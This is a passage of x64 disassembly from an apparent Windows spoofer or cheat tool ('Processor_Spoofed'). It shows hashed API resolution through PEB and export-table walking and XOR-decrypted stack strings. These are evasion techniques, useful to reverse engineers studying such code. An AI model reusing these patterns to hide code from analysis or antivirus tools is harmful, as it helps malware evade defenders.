movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140046ff0
lea rcx, [rsp + 0xeb0]
call r11
movups xmm0, xmmword [0x1400a7cc0]
movups xmmword [rsp + 0xf00], xmm0
movups xmm1, xmmword [0x1400a7cd0]
movups xmmword [rsp + 0xf10], xmm1
movups xmm0, xmmword [0x1400a7ce0]
movups xmmword [rsp + 0xf20], xmm0
movups xmm1, xmmword [0x1400a7cf0]
movups xmmword [rsp + 0xf30], xmm1
movzx eax, word [0x1400a7d00]
mov word [rsp + 0xf40], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140047106
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140047106
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6894559
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047101
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400470e0
cmp r8d, 0x4f3b9df8
je 0x14004710b
test r9d, r9d
jne 0x1400470c0
mov rax, qword [rax]
jmp 0x140047090
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140047275
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xf04]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140047170
cmp r8d, 0x42
jge 0x1400472c0
movsxd rax, r8d
lea r9, [rsp + 0xf00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140047290
lea rcx, [rsp + 0xf00]
call r11
movups xmm0, xmmword [0x1400a7d10]
movups xmmword [rsp + 0xf50], xmm0
movups xmm1, xmmword [0x1400a7d20]
movups xmmword [rsp + 0xf60], xmm1
movups xmm0, xmmword [0x1400a7d30]
movups xmmword [rsp + 0xf70], xmm0
movups xmm1, xmmword [0x1400a7d40]
movups xmmword [rsp + 0xf80], xmm1
movzx eax, word [0x1400a7d50]
mov word [rsp + 0xf90], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x1400473a6
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x1400473a6
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xd8b8ef5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400473a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140047380
cmp r8d, 0x59af24cc
je 0x1400473ab
test r9d, r9d
jne 0x140047360
mov rax, qword [rax]
jmp 0x140047330
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r13d, r13d
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140047515
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xf54]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140047410
cmp r8d, 0x42
jge 0x140047560
movsxd rax, r8d
lea r9, [rsp + 0xf50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140047530
lea rcx, [rsp + 0xf50]
call r11
mov byte [0x140d45061], 1
mov byte [0x140d45062], 1
jmp 0x14004758b
cmp byte [0x140d45062], 0
je 0x1400477f4
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Processor_Spoofed
lea rcx, [rsp + 0xea0]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movaps xmm0, xmm15
subss xmm0, xmm1
movss dword [rsp + 0x500], xmm0
mov dword [rsp + 0x504], 0x43020000
movups xmmword [rsp + 0x698], xmm8
lea rcx, [rsp + 0x698]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x6a8], xmm8
lea rcx, [rsp + 0x6a8]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a7d58]
movups xmmword [rsp + 0x820], xmm0
mov ecx, dword [0x1400a7d68]
mov dword [rsp + 0x830], ecx
movzx ecx, word [0x1400a7d6c]
mov word [rsp + 0x834], cx
cmp byte [0x1400a7d6d], 0
je 0x1400477d0
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140047785
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x824]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140047680
cmp r8d, 0x16
jge 0x1400477d0
movsxd rax, r8d
lea r9, [rsp + 0x820]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400477a0
lea rax, [rsp + 0x500]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x820]
call fcn.140039970
cmp byte [0x140d45063], 0
jne 0x14004935e
movups xmm0, xmmword [0x1400a7d70]
movups xmmword [rsp + 0xaf0], xmm0
movsd xmm0, qword [0x1400a7d80]
movsd qword [rsp + 0xb00], xmm0
mov eax, dword [0x1400a7d88]
mov dword [rsp + 0xb08], eax
cmp byte [0x1400a7d8b], 0
je 0x1400479d0
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140047985
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xaf4]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140047880
cmp r8d, 0x1c
jge 0x1400479d0
movsxd rax, r8d
lea r9, [rsp + 0xaf0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400479a0
mov r8d, 0x28a49
lea rdx, [0x140b76710]
lea rcx, [rsp + 0xaf0]
call fcn.14003e7f0
movups xmm0, xmmword [0x1400a7d90]
movups xmmword [rsp + 0x1360], xmm0
movups xmm1, xmmword [0x1400a7da0]
movups xmmword [rsp + 0x1370], xmm1
movups xmm0, xmmword [0x1400a7db0]
movups xmmword [rsp + 0x1380], xmm0
movups xmm1, xmmword [0x1400a7dc0]
movups xmmword [rsp + 0x1390], xmm1
movups xmm0, xmmword [0x1400a7dd0]
movups xmmword [rsp + 0x13a0], xmm0
movups xmm1, xmmword [0x1400a7de0]
movups xmmword [rsp + 0x13b0], xmm1
movups xmm0, xmmword [str._fGNAAU_RXU]
movups xmmword [rsp + 0x13c0], xmm0
movsd xmm0, qword [0x1400a7e00]
movsd qword [rsp + 0x13d0], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140047b0a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140047b0a
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x99b065ad
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047b05
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140047ae0
cmp r8d, 0x3d7e9a44
je 0x140047b12
test r9d, r9d
jne 0x140047ab0
mov rax, qword [rax]
jmp 0x140047a80
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp dword [0x140d3f110], 2
jl 0x140047c6f
movdqa xmm5, xmmword [0x1400a66c0]
xor edx, edx
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1364]
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x78
jl 0x140047b70
jmp 0x140047cb0
lea r9, [rsp + 0x1360]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x78
jl 0x140047c80
lea rcx, [rsp + 0x1360]
call r11
movups xmm0, xmmword [0x1400a7e10]
movups xmmword [rsp + 0xd70], xmm0
movups xmm1, xmmword [0x1400a7e20]
movups xmmword [rsp + 0xd80], xmm1
movups xmm0, xmmword [0x1400a7e30]
movups xmmword [rsp + 0xd90], xmm0
movups xmm1, xmmword [0x1400a7e40]
movups xmmword [rsp + 0xda0], xmm1
movsd xmm0, qword [0x1400a7e50]
movsd qword [rsp + 0xdb0], xmm0
mov eax, dword [0x1400a7e58]
mov dword [rsp + 0xdb8], eax
movzx eax, byte [0x1400a7e5c]
mov byte [rsp + 0xdbc], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140047dca
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140047dca
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6d424179
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047dc5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140047da0
cmp r8d, 0x8d137f18
je 0x140047dd2
test r9d, r9d
jne 0x140047d70
mov rax, qword [rax]
jmp 0x140047d40
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140047f35
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xd74]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140047e30
cmp r8d, 0x4d
jge 0x140047f80
movsxd rax, r8d
lea r9, [rsp + 0xd70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140047f50
lea rcx, [rsp + 0xd70]
call r11
movups xmm0, xmmword [0x1400a7e60]
movups xmmword [rsp + 0x12d0], xmm0
movups xmm1, xmmword [0x1400a7e70]
movups xmmword [rsp + 0x12e0], xmm1
movups xmm0, xmmword [0x1400a7e80]
movups xmmword [rsp + 0x12f0], xmm0
movups xmm1, xmmword [0x1400a7e90]
movups xmmword [rsp + 0x1300], xmm1
movups xmm0, xmmword [str.3_12]
movups xmmword [rsp + 0x1310], xmm0
movups xmm1, xmmword [0x1400a7eb0]
movups xmmword [rsp + 0x1320], xmm1
movups xmm0, xmmword [0x1400a7ec0]
movups xmmword [rsp + 0x1330], xmm0
movups xmm1, xmmword [0x1400a7ed0]
movups xmmword [rsp + 0x1340], xmm1
mov eax, dword [0x1400a7ee0]
mov dword [rsp + 0x1350], eax
movzx eax, byte [0x1400a7ee4]
mov byte [rsp + 0x1354], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x1400480ba
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x1400480ba
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc6acd0c5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400480b5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048090
cmp r8d, 0x294a59c
je 0x1400480c2
test r9d, r9d
jne 0x140048060
mov rax, qword [rax]
jmp 0x140048030
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004822f
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x12d4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140048120
cmp r8d, 0x85
jge 0x140048273
movsxd rax, r8d
lea r9, [rsp + 0x12d0]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x140048240
lea rcx, [rsp + 0x12d0]
call r11
movups xmm0, xmmword [0x1400a7ef0]
movups xmmword [rsp + 0x10f0], xmm0
movups xmm1, xmmword [0x1400a7f00]
movups xmmword [rsp + 0x1100], xmm1
movups xmm0, xmmword [0x1400a7f10]
movups xmmword [rsp + 0x1110], xmm0
movups xmm1, xmmword [0x1400a7f20]
movups xmmword [rsp + 0x1120], xmm1
movups xmm0, xmmword [0x1400a7f30]
movups xmmword [rsp + 0x1130], xmm0
movups xmm1, xmmword [0x1400a7f40]
movups xmmword [rsp + 0x1140], xmm1
movsd xmm0, qword [0x1400a7f50]
movsd qword [rsp + 0x1150], xmm0
mov eax, dword [0x1400a7f58]
mov dword [rsp + 0x1158], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004839a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004839a
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x3a3fa871
movzx ecx, byte [rdx]
inc rdx
test cl, cl
